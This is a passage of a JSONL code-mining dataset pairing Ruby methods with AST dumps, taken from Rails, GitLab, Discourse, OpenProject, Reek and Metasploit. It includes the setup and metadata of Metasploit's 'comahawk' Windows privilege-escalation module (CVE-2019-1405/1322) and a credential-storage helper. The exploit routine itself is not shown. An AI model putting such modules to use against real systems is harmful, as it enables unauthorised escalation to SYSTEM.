air\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_attempted_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"SUCCESSFUL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"proof\"]}]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}","id":"b255b28f-0519-4821-8649-13f375919d74"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/comahawk.rb","start_line":14,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',\n 'Description' => %q{\n This exploit uses two vulnerabilities to execute a command as an elevated user.\n The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to\n NT AUTHORITY\\LOCAL SERVICE\n The second (CVE-2019-1322) leverages the Update Orchestrator Service to\n elevate from NT AUTHORITY\\LOCAL SERVICE to NT AUTHORITY\\SYSTEM.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)\n 'hoangprod', # PoC\n 'bwatters-r7' # msf module\n ],\n 'Platform' => ['win'],\n 'SessionTypes' => ['meterpreter'],\n 'Targets' => [\n ['Windows x64', { 'Arch' => ARCH_X64 }]\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => '2019-11-12',\n 'References' => [\n ['CVE', '2019-1322'],\n ['CVE', '2019-1405'],\n ['EDB', '47684'],\n ['URL', 'https://github.com/apt69/COMahawk'],\n ['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],\n ['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']\n ],\n 'DefaultOptions' => {\n 'DisablePayloadHandler' => false\n },\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_sys_config_getenv\n ]\n }\n },\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options([\n OptString.new('EXPLOIT_NAME',\n [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),\n OptString.new('PAYLOAD_NAME',\n [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),\n OptString.new('WRITABLE_DIR',\n [false, 'Path to write binaries (%TEMP% by default).', nil]),\n OptInt.new('EXPLOIT_TIMEOUT',\n [true, 'The number of seconds to wait for exploit to finish running', 60]),\n OptInt.new('EXECUTE_DELAY',\n [true, 'The number of seconds to delay between file upload and exploit launch', 3])\n ])\n end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Microsoft UPnP Local Privilege Elevation Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This exploit uses two vulnerabilities to execute a command as an elevated user.\\n\"]},{\"type\":\"str\",\"children\":[\" The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to\\n\"]},{\"type\":\"str\",\"children\":[\" NT AUTHORITY\\\\LOCAL SERVICE\\n\"]},{\"type\":\"str\",\"children\":[\" The second (CVE-2019-1322) leverages the Update Orchestrator Service to\\n\"]},{\"type\":\"str\",\"children\":[\" elevate from NT AUTHORITY\\\\LOCAL SERVICE to NT AUTHORITY\\\\SYSTEM.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"NCC Group\"]},{\"type\":\"str\",\"children\":[\"hoangprod\"]},{\"type\":\"str\",\"children\":[\"bwatters-r7\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows x64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-11-12\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-1322\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-1405\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"47684\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/apt69/COMahawk\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getenv\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXPLOIT_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The filename to use for the exploit binary (%RAND% by default).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PAYLOAD_NAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The filename for the payload to be used on the target host (%RAND%.exe by default).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WRITABLE_DIR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path to write binaries (%TEMP% by default).\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXPLOIT_TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of seconds to wait for exploit to finish running\"]},{\"type\":\"int\",\"children\":[60]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXECUTE_DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The number of seconds to delay between file upload and exploit launch\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}","id":"78253aa1-d458-4a77-8c8c-4adfe37a0b06"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/helpers/issuable_description_templates_shared_examples.rb","start_line":34,"raw_source":"def expected_templates(issuable_type)\n expectation = {}\n\n expectation[\"Project Templates\"] = templates(issuable_type, project)\n expectation[\"Group #{inherited_from.namespace.full_name}\"] = templates(issuable_type, inherited_from) if inherited_from.present?\n\n expectation\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_templates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expectation\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Project Templates\"]},{\"type\":\"send\",\"children\":[null,\"templates\",{\"type\":\"lvar\",\"children\":[\"issuable_type\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inherited_from\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expectation\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Group \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inherited_from\"]},\"namespace\"]},\"full_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"templates\",{\"type\":\"lvar\",\"children\":[\"issuable_type\"]},{\"type\":\"send\",\"children\":[null,\"inherited_from\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"expectation\"]}]}]}","id":"684e0b8b-c550-4fe4-a6c8-5a58a1d2a6d2"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":103,"raw_source":"def test_multiparameter_attributes_on_time_with_old_date\n attributes = {\n \"written_on(1i)\" => \"1850\", \"written_on(2i)\" => \"6\", \"written_on(3i)\" => \"24\",\n \"written_on(4i)\" => \"16\", \"written_on(5i)\" => \"24\", \"written_on(6i)\" => \"00\"\n }\n topic = Topic.find(1)\n topic.attributes = attributes\n # testing against to_fs(:db) representation because either a Time or a DateTime might be returned, depending on platform\n assert_equal \"1850-06-24 16:24:00\", topic.written_on.to_fs(:db)\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_time_with_old_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(1i)\"]},{\"type\":\"str\",\"children\":[\"1850\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(2i)\"]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(4i)\"]},{\"type\":\"str\",\"children\":[\"16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(5i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"written_on(6i)\"]},{\"type\":\"str\",\"children\":[\"00\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1850-06-24 16:24:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"written_on\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]}]}]}","id":"23926aa5-e629-49f8-b9f3-1764fab8932a"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/query_analyzers/ast/logger_analyzer.rb","start_line":14,"raw_source":"def initialize(query)\n super\n\n @results = default_initial_values(query).merge({\n time_started: Gitlab::Metrics::System.monotonic_time\n })\n rescue StandardError => e\n Gitlab::ErrorTracking.track_and_raise_for_dev_exception(e)\n @results = default_initial_values(query_or_multiplex)\n end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_initial_values\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time_started\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ErrorTracking\"]},\"track_and_raise_for_dev_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@results\",{\"type\":\"send\",\"children\":[null,\"default_initial_values\",{\"type\":\"send\",\"children\":[null,\"query_or_multiplex\"]}]}]}]}]},null]}]}","id":"5f1d5260-2130-40d1-9e23-42025bb715fc"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/boards/spec/features/support/board_page.rb","start_line":241,"raw_source":"def expect_not_changed\n expect(page).to have_no_css(\".editable-toolbar-title--save\")\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_not_changed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".editable-toolbar-title--save\"]}]}]}]}","id":"6a3b2629-94ae-4d3d-be5b-432359398c7d"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/routes.rb","start_line":14,"raw_source":"def initialize(routes = [])\n @routes = routes\n @ast = nil\n @anchored_routes = []\n @custom_routes = []\n @simulator = nil\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"routes\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@routes\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ast\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@anchored_routes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@custom_routes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@simulator\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"798e7516-afe8-4f61-bcc8-40904692eac0"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/nuget/create_dependency_service.rb","start_line":27,"raw_source":"def create_dependency_link_metadata\n inserted_links = ::Packages::DependencyLink.preload_dependency\n .for_package(@package)\n\n return if inserted_links.empty?\n\n rows = inserted_links.map do |dependency_link|\n raw_dependency = raw_dependency_for(dependency_link.dependency)\n\n next if raw_dependency[:target_framework].blank?\n\n {\n dependency_link_id: dependency_link.id,\n target_framework: raw_dependency[:target_framework]\n }\n end\n\n ::ApplicationRecord.legacy_bulk_insert(::Packages::Nuget::DependencyLinkMetadatum.table_name, rows.compact) # rubocop:disable Gitlab/BulkInsert\n end","complexity_score":21.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_dependency_link_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"inserted_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"DependencyLink\"]},\"preload_dependency\"]},\"for_package\",{\"type\":\"ivar\",\"children\":[\"@package\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_links\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inserted_links\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dependency_link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw_dependency\",{\"type\":\"send\",\"children\":[null,\"raw_dependency_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dependency_link\"]},\"dependency\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_dependency\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_framework\"]}]},\"blank?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dependency_link_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dependency_link\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_framework\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_dependency\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"target_framework\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"legacy_bulk_insert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Nuget\"]},\"DependencyLinkMetadatum\"]},\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rows\"]},\"compact\"]}]}]}]}","id":"5a423c5f-d142-483c-9dff-53fe21bd3d44"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/support/concurrency.rb","start_line":19,"raw_source":"def choose(*options)\n raise DeadEnd if options.empty?\n\n @path << [options.size, 0] if @index >= @path.size\n\n pair = @path[@index]\n raise \"non-determinism\" unless pair[0] == options.size\n\n @index += 1\n options[pair[1]]\n end","complexity_score":21.05,"ast_json":"{\"type\":\"def\",\"children\":[\"choose\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DeadEnd\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@index\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"size\"]},{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pair\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@index\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"size\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"non-determinism\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pair\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"797992e9-4d38-40ad-9faf-1fba631643bd"}
+{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/command/report_command.rb","start_line":58,"raw_source":"def location_formatter\n Report.location_formatter(options.location_format)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"location_formatter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"location_formatter\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"location_format\"]}]}]}","id":"1653b6e1-6a52-4c1e-bc2f-8445b8b6db7f"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/graphql_helpers.rb","start_line":743,"raw_source":"def allow_unlimited_graphql_depth\n allow_any_instance_of(GitlabSchema).to receive(:max_depth).and_return nil\n allow(GitlabSchema).to receive(:max_query_depth).with(any_args).and_return nil\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_unlimited_graphql_depth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow_any_instance_of\",{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"max_depth\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"max_query_depth\"]}]},\"with\",{\"type\":\"send\",\"children\":[null,\"any_args\"]}]},\"and_return\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"7f677bde-0ba1-4fbe-a9a1-e5b7017e94d7"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/columns_test.rb","start_line":30,"raw_source":"def test_rename_column_using_symbol_arguments\n add_column :test_models, :first_name, :string\n\n TestModel.create first_name: \"foo\"\n\n rename_column :test_models, :first_name, :nick_name\n TestModel.reset_column_information\n assert_includes TestModel.column_names, \"nick_name\"\n assert_equal [\"foo\"], TestModel.all.map(&:nick_name)\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rename_column_using_symbol_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"rename_column\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"first_name\"]},{\"type\":\"sym\",\"children\":[\"nick_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestModel\"]